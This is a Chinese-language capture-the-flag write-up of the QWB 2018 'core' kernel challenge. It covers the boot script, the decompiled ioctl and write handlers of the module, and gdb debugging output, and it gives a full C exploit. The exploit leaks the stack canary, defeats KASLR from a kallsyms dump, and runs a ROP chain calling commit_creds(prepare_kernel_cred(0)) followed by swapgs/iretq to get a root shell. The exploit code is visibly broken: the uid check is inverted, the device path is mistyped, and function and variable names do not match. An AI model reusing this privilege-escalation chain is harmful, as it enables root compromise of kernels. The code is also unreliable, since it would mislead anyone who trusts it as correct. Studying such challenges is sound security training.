qwb2018-core 给了四个文件(bzImage,core.cpio,start.sh,vmlinux),vmlinux是bzImage压缩前的文件,pop段全,若题目没给vmlinux,通过
1 2 ./extract-vmlinux ./bzImage > vmlinux file vmlinux
先看start.sh:发现开启了kaslr,启动一下,若无法启动,将-m后的参数调大
1 2 3 4 5 6 7 8 qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
再看看init文件:很好,将kallsyms保存到tmp目录,所以可以通过打开/tmp/kallsyms目录找commit_creds和prepare_kernel_cred。将kptr_restrict设为1,就不能通过/proc/kallsyms找地址,将dmesg_restrict设为1,不能用dmesg看kernel信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
接下来查看vmlinux:开启kaslr没关系,因为我们可以通过找到vmlinux-0x9c8e0从而获得vmlinux_addr,vmlinux_addr-0xffffffff81000000=offset.这样就可以利用vmlinux文件中的pop段等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 >>> from pwn import* >>> vmlinux=ELF("vmlinux") [*] '/home/voyager/qwb2018/vmlinux' Arch: amd64-64-little Version: 4.15.8 RELRO: No RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0xffffffff81000000) Stack: Executable RWX: Has RWX segments Stripped: No >>> hex(vmlinux.sym["commit_creds"]-0xffffffff81000000) '0x9c8e0'
将core.ko文件放入ida查看:
1 2 3 4 5 6 7 8 voyager@voyager-virtual-machine:~/qwb2018$ checksec core.ko [*] '/home/voyager/qwb2018/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) Stripped: No
先看core_ioctl:经典选择,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int64 fastcall core_ioctl(int64 a1, int64 a2, __int64 a3) { switch ( (_DWORD)a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk(&unk_2CD, a3); off = a3; break; case 0x6677889A: printk(&unk_2B3, a2); core_copy_func(a3); break; } return 0LL; }
core_read就是可以将v6[off]的值给到某个地址,所以我们可以自己设个buf[40],然后将内容读取到其中,又因为v6在rbp-0x50,所以我们在case 2中将off设为0x40,这样buf[0]就是canary,然后就是执行rop链了。
看core_write:将输入的内容输给&name,case 3有个qmemcpy(v3, &name, (unsigned __int16)a1);这样就可以造成溢出了
1 2 3 4 5 6 7 8 __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { printk(&unk_215, a2); if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) return (unsigned int)a3; printk(&unk_230, a2); return 4294967282LL; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 exp: #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t vmlinux_commits,prepare_kernel_cred; size_t raw_vmlinux_addr=0xffffffff81000000; size_t user_cs, user_ss, user_sp, user_rflags; void savestatus() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); } //保存寄存器 void getshell() { if(getuid()){ system("/bin/sh"); } else{ puts("error"); exit(0); } } //getuid(),检验root,为0返回1 int getaddress() { FILE *fd=open("/tmp/kallsyms",'r'); char buf[0x50]=0; char *ptr; if(!fd){ puts("error"); return 0; } while(fgets(buf,sizeof(buf),fd)){ if(commit_creds&&prepare_kernel_cred){ printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred); return 1; } if(strstr(buf,"commit_creds")){ commit_creds=strtoull(buf,ptr,16); } if(strstr(buf,"prepare_kernel_cred")){ prepare_kernel_cred=strtoull(buf,ptr,16); } } return 0; } void main(){ savestatus(); getadress(); vmlinux_base=commit_creds-0x9c8e0; size_t offset = vmlinux_base - raw_vmlinux_base; size_t pop_rdi = 0xffffffff81679ba8 + offset; size_t pop_rdx = 0xffffffff810a0f49 + offset; size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx; size_t swapgs = 0xffffffff81a012da + offset; // swapgs; popfq; ret; size_t iretq = 0xffffffff81050ac2 + offset; // iretq; ret; int fd=open("/pro/core",2); if(!fd){ puts("error"); exit(0); } ioctl(fd,0x6677889C,0x40); char user_buf[0x40] = {0}; ioctl(fd, 0x6677889B, user_buf); size_t canary = ((size_t*)user_buf)[0]; printf("[+] Find canary: 0x%llx\n", canary);\ size_t rop[0x100]; int i=8; rop[i++] = canary; rop[i++] = 0; rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rdx; rop[i++] = commit_creds; rop[i++] = mov_rdi_rax; //swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell rop[i++] = swapgs; rop[i++] = 0; rop[i++] = iretq; rop[i++] = (size_t)getshell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,sizeof(rop)); ioctl(fd,0x6677889A,0xffffffffffff0000|0x100); }
1 2 3 4 5 gcc exp.c -static -masm=intel -g -o exp ./gen.sh ./start.sh ./exp whoami
动态调试部分 补充一下部分动态调试的知识
1 2 3 4 5 6 7 / # cat /sys/module/core/sections/.text 0xffffffffc0000000 / # cat /sys/module/core/sections/.data 0xffffffffc0002000 / # cat /sys/module/core/sections/.bss 0xffffffffc0002400 / #
首先,关掉kaslr,将init文件加上root权限,su root -c sh然后进入内核调试模式,再开个终端,执行
1 2 3 4 5 6 7 gdb ./vmlinux target remote:1234 add-symbol-file ./core.ko 0xffffffffc0000000 -s .data 0xffffffffc0002000 -s .bss 0xffffffffc0002400 b core_read c 回到内核环境的那个终端 ./test //就可以执行到core_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 test.c内容 因为IDA哪里有执行条件,所以试验了好久终于发现了 #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define CORE_READ 0x6677889B #define CORE_WRITE 0x6677889A #define CORE_OFF 0x6677889C int main() { int fd = open("/proc/core", O_RDWR); // 触发 core_read ioctl(fd, CORE_READ, 0); close(fd); return 0; }
进去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ► 0xffffffffc0000063 <core_read> push rbx 0xffffffffc0000064 <core_read+1> mov rbx, rdi RBX => 0 0xffffffffc0000067 <core_read+4> mov rdi, 0xffffffffc000107b 0xffffffffc000006e <core_read+11> sub rsp, irq_stack_union+72 0xffffffffc0000072 <core_read+15> mov rax, qword ptr gs:[0x28] RAX, [0xffff880009200028] 0xffffffffc000007b <core_read+24> mov qword ptr [rsp + 0x40], rax 0xffffffffc0000080 <core_read+29> xor eax, eax EAX => 0 0xffffffffc0000082 <core_read+31> call 0xffffffff810c6845 <printk> 0xffffffffc0000087 <core_read+36> mov rsi, qword ptr [rip + 0x2b72] RSI, [off] 0xffffffffc000008e <core_read+43> mov rdx, rbx 0xffffffffc0000091 <core_read+46> mov rdi, 0xffffffffc0001095 ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rsp 0xffffc9000012be68 —▸ 0xffffffffc000019b (core_ioctl+60) ◂— 0xffffffffc000019b 01:0008│ 0xffffc9000012be70 —▸ 0xffff88000f58b540 ◂— 0xffff88000f58b540 02:0010│ 0xffffc9000012be78 —▸ 0xffffffff811dd6d1 (proc_reg_unlocked_ioctl+49) ◂— 0xffffffff811dd6d1 03:0018│ 0xffffc9000012be80 ◂— 0xffffc9000012be80 04:0020│ 0xffffc9000012be88 —▸ 0xffff88000f5c5700 ◂— 0xffff88000f5c5700 05:0028│ 0xffffc9000012be90 —▸ 0xffffffff8118ecfa (do_vfs_ioctl+138) ◂— 0xffffffff8118ecfa 06:0030│ 0xffffc9000012be98 —▸ 0xffffc9000012be70 —▸ 0xffff88000f58b540 ◂— 0xffff88000f58b540 07:0038│ 0xffffc9000012bea0 ◂— 0xffffc9000012bea0 ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► 0 0xffffffffc0000063 core_read 1 0xffffffffc000019b core_ioctl+60 2 0xffff88000f58b540 None 3 0xffffffff811dd6d1 proc_reg_unlocked_ioctl+49 4 0x20085e889b None 5 0xffff88000f5c5700 None 6 0xffffffff8118ecfa do_vfs_ioctl+138 7 0xffffc9000012be70 None ──────────────────────────────────────────────────────────────────────────────── pwndbg>
内核环境启动 1 2 3 4 5 6 7 8 / $ cat /tmp/kallsyms | grep commit_creds ffffffff8109c8e0 T commit_creds / $ cat /tmp/kallsyms | grep prepare_kernel_cred ffffffff8109cce0 T prepare_kernel_cred / $ cat /tmp/kallsyms | grep swapgs ffffffff81a008da T swapgs_restore_regs_and_return_to_usermode ffffffff81a0195d t nmi_swapgs
正常terminal 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ❯ objdump -d core.ko | grep -A 30 "<core_read>:" 0000000000000063 <core_read>: 63: 53 push %rbx 64: 48 89 fb mov %rdi,%rbx 67: 48 c7 c7 00 00 00 00 mov $0x0,%rdi 6e: 48 83 ec 48 sub $0x48,%rsp 72: 65 48 8b 04 25 28 00 mov %gs:0x28,%rax 79: 00 00 7b: 48 89 44 24 40 mov %rax,0x40(%rsp) 80: 31 c0 xor %eax,%eax 82: e8 00 00 00 00 call 87 <core_read+0x24> 87: 48 8b 35 00 00 00 00 mov 0x0(%rip),%rsi # 8e <core_read+0x2b> 8e: 48 89 da mov %rbx,%rdx 91: 48 c7 c7 00 00 00 00 mov $0x0,%rdi 98: 31 c0 xor %eax,%eax 9a: e8 00 00 00 00 call 9f <core_read+0x3c> 9f: 31 c0 xor %eax,%eax a1: 48 89 e7 mov %rsp,%rdi a4: b9 10 00 00 00 mov $0x10,%ecx a9: f3 ab rep stos %eax,%es:(%rdi) ab: 48 c7 c6 00 00 00 00 mov $0x0,%rsi b2: 48 89 e7 mov %rsp,%rdi b5: e8 00 00 00 00 call ba <core_read+0x57> ba: 48 89 e6 mov %rsp,%rsi bd: 48 03 35 00 00 00 00 add 0x0(%rip),%rsi # c4 <core_read+0x61> c4: ba 40 00 00 00 mov $0x40,%edx c9: 48 89 df mov %rbx,%rdi cc: e8 00 00 00 00 call d1 <core_read+0x6e> d1: 48 85 c0 test %rax,%rax d4: 74 05 je db <core_read+0x78> d6: 0f 01 f8 swapgs d9: 5d pop %rbp ~/qwb2018 via C v11.4.0-gcc ❯